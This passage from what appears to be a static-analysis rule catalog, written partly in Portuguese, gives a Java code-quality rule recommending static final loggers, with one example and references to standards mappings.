[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
desc.config.java.mass_assignment_sensitive_field_exposure
Abstract
Declare agentes de log para serem estáticos e finais.
Explanation
É uma boa prática de programação compartilhar um único objeto de agente de log entre todas as instâncias de uma classe particular e usar o mesmo agente de log durante o programa.

Exemplo 1: A seguinte instrução declara erroneamente um agente de log não estático.


private final Logger logger =
Logger.getLogger(MyClass.class);
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[5] Standards Mapping - Common Weakness Enumeration CWE ID 398
[6] Standards Mapping - FIPS200 AU
desc.structural.java.poor_logging_practice_logger_is_not_declared_static_final